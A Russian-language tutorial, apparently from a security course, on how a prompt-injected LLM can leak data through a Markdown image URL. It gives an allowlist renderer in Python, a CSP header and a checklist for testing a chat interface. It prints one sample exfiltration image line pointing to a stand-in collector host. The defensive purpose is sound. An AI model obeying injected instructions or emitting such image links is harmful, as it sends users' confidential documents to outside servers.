Markdown-картинка в ответе LLM: где возникает скрытый запрос и как его закрыть

Веб-интерфейс AI-помощника часто показывает ответы в Markdown: списки, фрагменты кода, ссылки и картинки. Приложение превращает этот текст в HTML, а браузер отображает результат. С картинками появляется дополнительное действие — браузер загружает их по указанным адресам.

Представим, что пользователь попросил пересказать внутренний отчёт. Приложение передало его текст модели, а та включила часть сведений в адрес картинки. Это может произойти, например, под влиянием инструкции, внедрённой в документ. В ответе окажется строка такого вида:

![Диаграмма](https://collector.invalid/pixel?note=SYNTHETIC-4F8A)

При отображении этой строки браузер попытается загрузить картинку по адресу из src. Отдельный клик не требуется. Сервер, принимающий запрос, увидит путь и параметры после знака ?. Если туда попал фрагмент отчёта, сведения уйдут вместе с запросом.

Обычная очистка HTML может этого не остановить. Она убирает опасные конструкции, например скрипты, но часто оставляет картинки. Здесь же скрипта нет: данные передаются через загрузку изображения. Нужно ограничить адреса, с которых интерфейс разрешает загружать ресурсы.

Где поставить правило

Для чата с внутренними отчётами выберем простое правило: показываем только изображения, которые приложение уже сохранило у себя. Вместо картинки с любым другим адресом выводим текстовую заглушку.

Ниже функция для отрисовки картинки. Её нужно вызывать в том месте, где Markdown-картинка превращается в HTML. Функция пропускает только известные пути из списка медиафайлов приложения:

from html import escape

APPROVED_IMAGES = {'/media/report-chart-42.png'}

def image_html(src, alt):
    if src not in APPROVED_IMAGES:
        return (
            f'<span class="image-blocked">'
            f'[{escape(alt)}: image blocked]</span>'
        )
    return (
        f'<img src="{escape(src, quote=True)}" '
        f'alt="{escape(alt, quote=True)}" loading="lazy">'
    )

cases = [
    ('approved', '/media/report-chart-42.png'),
    ('external',
     'https://collector.invalid/pixel?note=SYNTHETIC-4F8A'),
    ('protocol-relative', '//collector.invalid/pixel'),
    ('data-uri', 'data:image/svg+xml,SYNTHETIC-4F8A'),
]

for name, src in cases:
    print(f'{name}: {image_html(src, "Report chart")}')

Результат запуска:

approved: <img src="/media/report-chart-42.png" alt="Report chart" loading="lazy">
external: <span class="image-blocked">[Report chart: image blocked]</span>
protocol-relative: <span class="image-blocked">[Report chart: image blocked]</span>
data-uri: <span class="image-blocked">[Report chart: image blocked]</span>

Список разрешённых путей создаёт сервер приложения. Модель не может добавить туда свой адрес. Если понадобится отдельный сервер для изображений, приложение должно выдавать ссылки на конкретные файлы с него — принимать любой адрес из ответа модели по-прежнему не следует.

Закрепим политику в браузере

Добавим второй уровень проверки — заголовок Content Security Policy, или CSP. Он сообщает браузеру, откуда странице разрешено загружать ресурсы. Для изображений с того же сайта правило выглядит так:

Content-Security-Policy: default-src 'self'; img-src 'self'

img-src задаёт допустимые источники изображений. Если рендерер по ошибке оставит https://collector.invalid/…, браузер заблокирует его по CSP. Если изображения лежат на отдельном CDN, в директиву добавляется ровно этот origin, а не https: целиком.

Если загружать внешние картинки через свой сервер, проверка адреса всё равно нужна. Иначе этот сервер можно заставить обратиться к внутреннему адресу — такая атака называется SSRF. Кроме адреса и перенаправлений придётся ограничить размер файла, проверить тип ответа и решить, что сохранять в кэше и журналах. Поэтому для чата, которому внешние картинки не нужны, проще оставить их запрещёнными.

Как проверить готовый интерфейс

Сначала проверьте функцию отрисовки на разных адресах. Затем откройте сообщение в браузере и посмотрите вкладку Network в инструментах разработчика: запроса на внешний адрес быть не должно. Проверьте и обычное изображение с разрешённым путём /media/… — оно должно отображаться.

ВходОжидаемый результат
Зарегистрированный путь /media/…Изображение отображается
Абсолютный URL на .invalidЗаглушка, внешнего запроса нет
URL вида //host/pathЗаглушка
data: или другая неподдерживаемая схема адресаЗаглушка
HTML с imgУдалён санитайзером или проходит то же правило источников

Отдельно проверьте потоковый рендеринг. Если клиент сначала вставляет незавершённый Markdown как HTML, а потом санитизирует готовое сообщение, запрос может уйти на промежуточном кадре. Политика источников должна действовать в момент каждой вставки, а CSP — на всей странице.

Продолжить с полной моделью утечек

В LLM Security PRO: Prompt Injection, утечки, tool-abuse вы проверите утечки на всём пути данных: от документов и инструментов до ответа модели, журналов и интерфейса. На локальном приложении воспроизведёте атаки, ограничите доступ к данным и соберёте автоматические проверки защиты. Для упражнений используются искусственные данные.

Посмотреть программу курса LLM Security PRO. Открытый урок про утечки в LLM, RAG, логах и кэше помогает разложить остальные каналы по всей цепочке приложения.

Следующие разборы: HTML из ответа LLM и XSS, SSRF в инструменте загрузки URL и проверка prompt injection через действия агента.

Источники: CommonMark 0.31.2: Images; MDN: CSP img-src; OWASP LLM Prompt Injection Prevention Cheat Sheet.